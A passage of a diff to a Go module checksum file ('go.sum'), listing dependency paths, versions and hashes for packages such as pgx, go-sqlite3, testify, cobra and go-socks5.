github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
|
||||
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
|
||||
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
|
||||
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
|
||||
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
|
||||
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.3.0 h1:/NQi8KHMpKWHInxXesC8yD4DhkXPrVhmnwYkjp9AmBA=
|
||||
github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
|
||||
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4 h1:N+gz6UngBPF4M288kiMURPHELDMIhF/Em35aYuKrsSc=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -248,52 +195,45 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
|
||||
github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
|
||||
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
|
||||
github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
@@ -307,32 +247,15 @@ github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yB
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
|
||||
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
|
||||
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
|
||||
github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||
github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
|
||||
github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/pquerna/otp v1.4.0 h1:wZvl1TIVxKRThZIBiwOOHOGP/1+nZyWBil9Y2XNEDzg=
|
||||
github.com/pquerna/otp v1.4.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
@@ -340,30 +263,21 @@ github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=
|
||||
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8 h1:a4s3hXogo5mE2PfdfJIonDbstO/P+9JszdfhAHSzD9Y=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8/go.mod h1:s648gW4IywYzUfE/KjXxUsqrqx/T2xO5VqOXxONeRfI=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
@@ -373,73 +287,56 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
|
||||
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
|
||||
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
|
||||
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
|
||||
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
|
||||
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
|
||||
go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
|
||||
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
||||
go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
|
||||
go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
|
||||
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
|
||||
go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
|
||||
